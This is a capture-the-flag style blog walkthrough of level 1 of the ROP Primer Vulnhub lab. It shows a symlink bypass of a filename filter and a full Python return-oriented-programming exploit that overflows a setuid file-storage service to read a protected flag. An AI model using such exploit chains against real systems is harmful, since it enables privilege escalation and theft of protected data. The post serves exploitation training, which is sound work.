ROP Primer: Level 1

This post covers the second level of the ROP Primer Vulnhub VM.

Let’s start by getting some basic info about the binary.

level1@rop:~$ ls -l
total 16
-rw-rw-r— 1 level0 level0    0 Mar  5 18:13 bleh
-rw——— 1 level2 level2   53 Jan 20  2015 flag
-rwsr-xr-x 1 level2 level2 9235 Jan 20  2015 level1
level1@rop:~$ file level1
level1: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=8a2b93e2b54246aa15e8ff2447035e740fb176cb, not stripped

We know that there is no ASLR in place and we can check for other mitigations using the checksec script.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Running the binary in the VM results in a binding error.

level1@rop:~$ ./level1
[!] error bind()ing!
[+] retrying bind()
[!] error bind()ing!
[+] retrying bind()
[!] error bind()ing!
^C

Let’s run strace to see why the bind() operation fails.

level1@rop:~$ strace ./level1
bind(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EADDRINUSE (Address already in use)
write(1, "[!] error bind()ing!\n", 21[!] error bind()ing!
)  = 21
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
nanosleep({1, 0}, 0xbffff52c)           = 0
write(1, "[+] retrying bind()\n", 20[+] retrying bind()
)   = 20
bind(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EADDRINUSE (Address already in use)
write(1, "[!] error bind()ing!\n", 21[!] error bind()ing!
)  = 21
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
nanosleep({1, 0}, ^CProcess 2036 detached

It tries to use TCP port 8888 but the address is already in use, which means a service is running on that port.

level1@rop:~$ netstat -aepn | grep 8888
(No info could be read for "-p": geteuid()=1001 but you should be root.)
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      1002       8967        -               
level1@rop:~$ ps uaxwww|grep level1
level2     792  0.0  0.0   2024   276 ?        S    Aug15   0:00 ./level1
root      1988  0.0  0.7  11200  3664 ?        Ss   03:23   0:00 sshd: level1 [priv] 
level1    2003  0.0  0.3  11200  1732 ?        S    03:23   0:00 sshd: level1@pts/0  
level1    2004  0.0  0.6   6860  3240 pts/0    Ss   03:23   0:00 -bash
level1    2039  0.0  0.2   5220  1148 pts/0    R+   03:27   0:00 ps uaxwww
level1    2040  0.0  0.1   4676   828 pts/0    S+   03:27   0:00 grep —color=auto level1

Connecting to localhost:8888 shows that the app is some kind of file storage system.

level1@rop:~$ nc localhost 8888
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

>

Can we just read the flag?

level1@rop:~$ nc localhost 8888
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> read
  Please, give a filename to read:
> /home/level1/flag
  XERXES demands your capture
    or destruction.
  Have a NICE day.

Nope. Other files do work, so it’s probably filtering out the flag string. Let’s disassemble the main function to find out.

Disassemble the main function.

Breakpoint 1, 0x08048d1c in main ()
gdb-peda$ disas
Dump of assembler code for function main:
   0x08048d19 <+0>: push   ebp
   0x08048d1a <+1>: mov    ebp,esp
=> 0x08048d1c <+3>: and    esp,0xfffffff0
   0x08048d1f <+6>: sub    esp,0x30
   0x08048d22 <+9>: mov    DWORD PTR [esp+0x2c],0xffffffff
   0x08048d2a <+17>:    mov    DWORD PTR [esp+0x28],0xffffffff
   0x08048d32 <+25>:    mov    DWORD PTR [esp+0x8],0x0
   0x08048d3a <+33>:    mov    DWORD PTR [esp+0x4],0x1
   0x08048d42 <+41>:    mov    DWORD PTR [esp],0x2
   0x08048d49 <+48>:    call   0x8048780 <socket@plt>
   0x08048d4e <+53>:    mov    DWORD PTR [esp+0x2c],eax
   0x08048d52 <+57>:    mov    DWORD PTR [esp+0x8],0x10
   0x08048d5a <+65>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048d62 <+73>:    lea    eax,[esp+0x14]
   0x08048d66 <+77>:    mov    DWORD PTR [esp],eax
   0x08048d69 <+80>:    call   0x8048720 <memset@plt>
   0x08048d6e <+85>:    mov    WORD PTR [esp+0x14],0x2
   0x08048d75 <+92>:    mov    DWORD PTR [esp],0x0
   0x08048d7c <+99>:    call   0x8048750 <htonl@plt>
   0x08048d81 <+104>:   mov    DWORD PTR [esp+0x18],eax
   0x08048d85 <+108>:   mov    DWORD PTR [esp],0x22b8
   0x08048d8c <+115>:   call   0x8048670 <htons@plt>
   0x08048d91 <+120>:   mov    WORD PTR [esp+0x16],ax
   0x08048d96 <+125>:   jmp    0x8048dbc <main+163>
   0x08048d98 <+127>:   mov    DWORD PTR [esp],0x80491c9
   0x08048d9f <+134>:   call   0x80486a0 <puts@plt>
   0x08048da4 <+139>:   mov    DWORD PTR [esp],0x1
   0x08048dab <+146>:   call   0x8048660 <sleep@plt>
   0x08048db0 <+151>:   mov    DWORD PTR [esp],0x80491de
   0x08048db7 <+158>:   call   0x80486a0 <puts@plt>
   0x08048dbc <+163>:   mov    DWORD PTR [esp+0x8],0x10
   0x08048dc4 <+171>:   lea    eax,[esp+0x14]
   0x08048dc8 <+175>:   mov    DWORD PTR [esp+0x4],eax
   0x08048dcc <+179>:   mov    eax,DWORD PTR [esp+0x2c]
   0x08048dd0 <+183>:   mov    DWORD PTR [esp],eax
   0x08048dd3 <+186>:   call   0x8048710 <bind@plt>
   0x08048dd8 <+191>:   test   eax,eax
   0x08048dda <+193>:   js     0x8048d98 <main+127>
   0x08048ddc <+195>:   mov    DWORD PTR [esp+0x4],0xa
   0x08048de4 <+203>:   mov    eax,DWORD PTR [esp+0x2c]
   0x08048de8 <+207>:   mov    DWORD PTR [esp],eax
   0x08048deb <+210>:   call   0x8048760 <listen@plt>
   0x08048df0 <+215>:   mov    DWORD PTR [esp+0x8],0x0
   0x08048df8 <+223>:   mov    DWORD PTR [esp+0x4],0x0
   0x08048e00 <+231>:   mov    eax,DWORD PTR [esp+0x2c]
   0x08048e04 <+235>:   mov    DWORD PTR [esp],eax
   0x08048e07 <+238>:   call   0x8048680 <accept@plt>
   0x08048e0c <+243>:   mov    DWORD PTR [esp+0x28],eax
   0x08048e10 <+247>:   call   0x8048740 <fork@plt>
   0x08048e15 <+252>:   mov    DWORD PTR [esp+0x24],eax
   0x08048e19 <+256>:   cmp    DWORD PTR [esp+0x24],0x0
   0x08048e1e <+261>:   jns    0x8048e44 <main+299>
   0x08048e20 <+263>:   mov    DWORD PTR [esp],0x80491f2
   0x08048e27 <+270>:   call   0x80486a0 <puts@plt>
   0x08048e2c <+275>:   mov    eax,DWORD PTR [esp+0x2c]
   0x08048e30 <+279>:   mov    DWORD PTR [esp],eax
   0x08048e33 <+282>:   call   0x80487a0 <close@plt>
   0x08048e38 <+287>:   mov    DWORD PTR [esp],0xffffffff
   0x08048e3f <+294>:   call   0x80486c0 <exit@plt>
   0x08048e44 <+299>:   cmp    DWORD PTR [esp+0x24],0x0
   0x08048e49 <+304>:   jne    0x8048e7b <main+354>
   0x08048e4b <+306>:   mov    eax,DWORD PTR [esp+0x2c]
   0x08048e4f <+310>:   mov    DWORD PTR [esp],eax
   0x08048e52 <+313>:   call   0x80487a0 <close@plt>
   0x08048e57 <+318>:   mov    eax,DWORD PTR [esp+0x28]
   0x08048e5b <+322>:   mov    DWORD PTR [esp],eax
   0x08048e5e <+325>:   call   0x8048915 <handle_conn>
   0x08048e63 <+330>:   mov    eax,DWORD PTR [esp+0x28]
   0x08048e67 <+334>:   mov    DWORD PTR [esp],eax
   0x08048e6a <+337>:   call   0x80487a0 <close@plt>
   0x08048e6f <+342>:   mov    DWORD PTR [esp],0x0
   0x08048e76 <+349>:   call   0x80486c0 <exit@plt>
   0x08048e7b <+354>:   mov    eax,DWORD PTR [esp+0x28]
   0x08048e7f <+358>:   mov    DWORD PTR [esp],eax
   0x08048e82 <+361>:   call   0x80487a0 <close@plt>
   0x08048e87 <+366>:   jmp    0x8048df0 <main+215>
End of assembler dump.

The server will fork a new process to handle the incoming connection.

We can run ltrace -f to follow the child process after it is created and see what happens when trying to fetch the flag using ‘read’

level1@rop:~$ ltrace -f ./level1
[pid 27632] __libc_start_main(0x8048d19, 1, 0xbf9efb84, 0x8048ea0, 0x8048e90 <unfinished …>
[pid 27632] socket(2, 1, 0)                                               = 3
[pid 27632] memset(0xbf9efab4, '\000', 16)                                = 0xbf9efab4
[pid 27632] htonl(0, 0, 16, 0x8048eeb, 1)                                 = 0
[pid 27632] htons(8888, 0, 16, 0x8048eeb, 1)                              = 47138
[pid 27632] bind(3, 0xbf9efab4, 16, 0x8048eeb, 1)                         = 0
[pid 27632] listen(3, 10, 16, 0x8048eeb, 1)                               = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1)                                 = 4
[pid 27632] fork()                                                        = 27634
[pid 27632] close(4)                                                      = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1 <unfinished …>
[pid 27634] <… fork resumed> )                                          = 0
[pid 27634] close(3)                                                      = 0
[pid 27634] strlen("Welcome to \n")                                       = 12
[pid 27634] write(4, "Welcome to \n", 12)                                 = 12
[pid 27634] strlen(" XERXES File Storage System\n")                       = 28
[pid 27634] write(4, " XERXES File Storage System\n", 28)                 = 28
[pid 27634] strlen("  available commands are:\n")                         = 26
[pid 27634] write(4, "  available commands are:\n", 26)                   = 26
[pid 27634] strlen("  store, read, exit.\n")                              = 21
[pid 27634] write(4, "  store, read, exit.\n", 21)                        = 21
[pid 27634] strlen("\n> ")                                                = 3
[pid 27634] write(4, "\n> ", 3)                                           = 3
[pid 27634] memset(0xbf9efa3c, '\000', 32)                                = 0xbf9efa3c
[pid 27634] read(4, "read\n", 32)                                         = 5
[pid 27634] strncmp("read\n", "store", 5)                                 = -1
[pid 27634] strncmp("read\n", "read", 4)                                  = 0
[pid 27634] strlen("  Please, give a filename to rea"…)                 = 35
[pid 27634] write(4, "  Please, give a filename to rea"…, 35)           = 35
[pid 27634] strlen("> ")                                                  = 2
[pid 27634] write(4, "> ", 2)                                             = 2
[pid 27634] memset(0xbf9efa5c, '\000', 32)                                = 0xbf9efa5c
[pid 27634] read(4, "/home/level1/flag\n", 32)                            = 18
[pid 27634] strstr("/home/level1/flag", "flag")                           = "flag"
[pid 27634] strlen("  XERXES demands your capture\n  "…)                = 69
[pid 27634] write(4, "  XERXES demands your capture\n  "…, 69)          = 69
[pid 27634] close(4)                                                      = 0
[pid 27634] exit(0 <unfinished …>
[pid 27634] +++ exited (status 0) +++
[pid 27632] — SIGCHLD (Child exited) —

The call to strstr checks for occurrences of the ‘flag’ string in the input. The symlink is not being resolved before the check takes place, so creating a symbolic link to the flag should allow us to read it.

level1@rop:~$ ln -s flag dummy
level1@rop:~$ nc localhost 8888
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> read
  Please, give a filename to read:
> dummy
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}

It’s definitely not the intended solution. We are trying to learn about ROP, so let’s continue on that path. We are more interested in the store operation.

I used Hopper to generate the pseudo-code of the handle_conn function (yes, I am lazy). The relevant part of the store operation is as follows.

loc_80489d8:
    write_buf(arg0, " Please, how many bytes is your file?\n\n");
    write_buf(arg0, 0x8048fb0);
    memset(var_163, 0x0, 0x7);
    read(arg0, var_163, 0x6);
    var_C = atoi(var_163);
    var_10 = malloc(var_C);
    write_buf(arg0, 0x8048fb3);
    write_buf(arg0, 0x8048fb0);
    if (read(arg0, var_10, var_C) == var_C) {
            write_buf(arg0, "   XERXES is pleased to inform you\n    that your file was received\n        most successfully.\n");
    }
    else {
            write_buf(arg0, "   XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n");
    }
    write_buf(arg0, " Please, give a filename:\n");
    write_buf(arg0, 0x8048fb0);
    memset(var_3C, 0x0, 0x20);
    read(arg0, var_3C, var_C);
    snprintf(var_15C, 0x100, "  XERXES will store\n   this data as '%s'.\n", var_3C);
    write_buf(arg0, var_15C);
    write_file(var_3C, var_10, var_C);
    eax = write_buf(arg0, "  XERXES wishes you\n      a NICE day.\n");
    return eax;

The buffer overflow takes place when reading the filename. There are 32 bytes allocated to var_3C, as indicated by memset(var_3C, 0x0, 0x20). However, read() will read up to var_C bytes, which is the file size provided before. If this value is larger than 32 then it will overwrite other values on the stack.

We cannot debug the running setuid binary with level1 permissions, so we’ll have to copy it to our local machine to analyze the crash.

Open gdb in one terminal and set the follow-fork-mode to child.

root@kali:~/Desktop# gdb -q ./level1
Reading symbols from /root/Desktop/level1…(no debugging symbols found)…done.
gdb-peda$ set follow-fork-mode child 
gdb-peda$ r

Then open another terminal and send a 100 byte file name.

> store
 Please, how many bytes is your file?

> 101
 Please, send your file:

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The child process crashes with EIP pointing to 0x41414141.

[New process 27784]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 27784]
[—————————————————registers—————————————————]
EAX: 0xffffffff 
EBX: 0xb7fbcff4 —————————————————> 0x15fd7c 
ECX: 0xffffffc8 
EDX: 0x9 ('\t')
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff4b0 ('A' <repeats 32 times>, "\n")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[——————————————————code——————————————————]
Invalid $PC address: 0x41414141
[——————————————————stack——————————————————]
0000| 0xbffff4b0 ('A' <repeats 32 times>, "\n")
0004| 0xbffff4b4 ('A' <repeats 28 times>, "\n")
0008| 0xbffff4b8 ('A' <repeats 24 times>, "\n")
0012| 0xbffff4bc ('A' <repeats 20 times>, "\n")
0016| 0xbffff4c0 ('A' <repeats 16 times>, "\n")
0020| 0xbffff4c4 ('A' <repeats 12 times>, "\n")
0024| 0xbffff4c8 ("AAAAAAAA\n")
0028| 0xbffff4cc ("AAAA\n")
[———————————————————————————————————————]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

Cool. We know that 100 bytes are enough to overwrite the return address. However, it would be better if we sent a unique pattern so that we could identify exactly how many bytes are needed to overwrite it. We can use the pattern_create tool from metasploit to achieve this.

root@kali:~/Desktop# /usr/share/metasploit-framework/tools/pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Repeating the process described before, we get a SIGSEGV when EIP points to:

Stopped reason: SIGSEGV
0x63413163 in ?? ()

And then get the offset for the relevant substring.

>>> "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A".find("63413163".decode("hex")[::-1])
64

OK, so bytes 65–66–67–68 are the ones that overwrite the ret.

If we can get the addresses of open, read, write, and the “flag” string, then we can just read the flag and output it to the connected socket.

level1@rop:~$ objdump -d level1 | grep 'open\|read\|write'
08048640 <read@plt>:
080486d0 <open@plt>:
08048700 <write@plt>:
…
level1@rop:~$ gdb -q ./level1
Reading symbols from ./level1…(no debugging symbols found)…done.
gdb-peda$ b main
Breakpoint 1 at 0x8048d1c
gdb-peda$ r
Starting program: /home/level1/level1
Breakpoint 1, 0x08048d1c in main ()
gdb-peda$ find "flag"
Searching for 'flag' in: None ranges
Found 13 results, display max 13 items:
    level1 : 0x8049128 ("flag")

We’ll need some pop2ret and pop3ret gadgets as well.

gdb-peda$ ropgadget 
ret = 0x804851c
popret = 0x8048e93
pop2ret = 0x8048ef7
pop3ret = 0x8048ef6
pop4ret = 0x8048ef5
leaveret = 0x8048610
addesp_44 = 0x8048ef2

As seen in the ltrace output, our socket is using the file descriptor 4 and the flag file will use fd 3. With this info we can write the final exploit.

#!/bin/env python

import struct
import telnetlib

def p(x):
    return struct.pack('<L', x)

# functions
open = 0x80486d0
read = 0x8048640
write = 0x8048700

# "flag" string
flag = 0x08049128

# gadgets
pop2ret = 0x08048ef7
pop3ret = 0x08048ef6

# empty payload
payload = ""

# padding
payload += "A" * 64

# open the flag file
payload += p(open)
payload += p(pop2ret)
payload += p(flag)          # pathname
payload += p(0x0)           # flags

# read the flag
payload += p(read)
payload += p(pop3ret)
payload += p(0x3)           # 0:stdin, 1:stdout, 2:stderr, 3:flag, 4:socket
payload += p(0x0804a000)    # buf
payload += p(0x80)          # nbyte

# write it to the connected socket
payload += p(write)
payload += "FAKE"
payload += p(0x4)           # fd
payload += p(0x0804a000)    # buf
payload += p(0x80)          # count

tn = telnetlib.Telnet("192.168.56.101", 8888)

# send store command
print tn.read_until("> ")
tn.write("store\n")

# send file size
print tn.read_until("> ")
tn.write("%d\n" % (len(payload) + 1))

# send file contents
print tn.read_until("> ")
tn.write(payload + "\n")

# send file name
print tn.read_until("> ")
tn.write(payload)

print tn.read_all()

Run it and get the flag.

$ python exp.py 
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> 
 Please, how many bytes is your file?

> 
 Please, send your file:

> 
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
> 
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
RXES regrets to inform you
    that an error occurred
        while receivi
Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s